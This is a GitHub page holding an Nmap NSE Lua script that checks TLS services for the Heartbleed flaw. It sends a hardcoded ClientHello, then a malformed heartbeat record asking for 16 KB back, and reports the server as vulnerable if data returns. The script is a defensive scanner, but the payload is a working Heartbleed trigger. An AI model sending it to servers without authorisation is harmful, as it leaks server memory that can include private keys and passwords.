-
Notifications
You must be signed in to change notification settings - Fork 2
/
ssl-heartbleed.nse
144 lines (130 loc) · 4.41 KB
/
ssl-heartbleed.nse
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
description = [[
Check if a service is vulnerable to Heartbleed
(http://heartbleed.com)
ClientHello mercilessly stolen from Martin Bosslet:
https://github.com/emboss/heartbeat
]]
author = "Aaron Zauner <[email protected]>"
license = "MIT"
categories = { "default", "discovery", "intrusive", "vuln" }
local nmap = require "nmap"
local bin = require "bin"
local match = require "match"
local shortport = require "shortport"
local stdnse = require "stdnse"
---- TLS Handshake (type 16)
-- a ClientHello contains:
-- ProtocolVersion, Random, SessionID
-- CipherSuite, CompressionMethod and
-- optional Extensions
local client_hello = bin.pack("H", [[
16 03 01 00 38 01 00 00 34 03
01 23 18 50 c0 c7 9d 32 9f 90
63 de 32 12 14 1f 8c eb f1 a4
45 2b fd cc 12 87 ca db 32 b5
96 86 16 00 00 06 00 0a 00 2f
00 35 01 00 00 05 00 0f 00 01
01
]])
---- TLS Heartbeat extension type:
local heartbeat = bin.pack("H", "18")
---- TLS ALERT type:
local alert = bin.pack("H", "15")
---- TLS Handshake ServerHello done:
local done = bin.pack("H", [[
0e 00 00 00
]])
---- Heartbeat payload:
local payload = bin.pack("H", [[
18 03 01 00 03 01 40 00
]])
---- a TLS record looks like this:
-- 1 Byte 1 Byte 1 Byte 1 Byte
-- +--------+--------+--------+--------+
-- | type | |
-- +--------+--------+-----------------+
-- | version | length |
-- +-----------------+-----------------+
-- | message N |
-- +-----------------------------------+
-- | . |
-- .
-- .
local r_header = function(socket)
-- TLS record header
local t, v, l,
type, version, length
t, type = socket:receive_buf(match.numbytes(1), true)
v, version = socket:receive_buf(match.numbytes(2), true)
l, length = socket:receive_buf(match.numbytes(2), true)
if not t or not v or not l then return end
return true, type, version, length
end
local r_message = function(socket, length)
-- TLS record message
local d, data = socket:receive_buf(match.numbytes(length), true)
if not d then return end
return data
end
local message_len = function(len)
-- convert TLS length field to big endian ushort, return number
local position, length = bin.unpack(">S", len)
return tonumber(length)
end
portrule = shortport.ssl
action = function(host, port)
local status = true
local error = false
local socket, vuln, txt, type, version, length, data
-- create socket
socket = nmap.new_socket()
socket:set_timeout(800)
status, error = socket:connect(host, port, "tcp")
if status then
stdnse.print_debug("Connected.")
end
-- send TLS Handshake ClientHello
status, error = socket:send(client_hello)
if status then
stdnse.print_debug("Sent TLS ClientHello.")
end
while true do
status, type, version, length = r_header(socket)
if not status then
stdnse.print_debug("reached TLS timeout, this is OK.")
vuln = false
status = true
break
end
if message_len(length) > 0 then
data = r_message(socket, message_len(length))
end
if data == done then
-- recieved TLS Handshake ServerHello done
stdnse.print_debug("ServerHello done.")
-- send Heartbeat payload
status, error = socket:send(payload)
if not status then break else
stdnse.print_debug("Sent Payload.")
end
elseif type == heartbeat and string.len(data) > 3 then
stdnse.print_debug("Got Heartbeat TLS type and data!")
vuln = true
break
elseif type == heartbeat and string.len(data) < 3 then
stdnse.print_debug("Got Heartbeat TLS type and but no data.")
vuln = false
break
elseif type == alert then
stdnse.print_debug("Got TLS ALERT, this is OK.")
vuln = false
break
end
end
socket:close()
txt = "VULNERABLE to Heartbleed."
if not status then return stdnse.format_output(status, "TLS: " .. error)
elseif vuln then return stdnse.format_output(status, txt)
else return stdnse.format_output(status, "NOT " .. txt)
end
end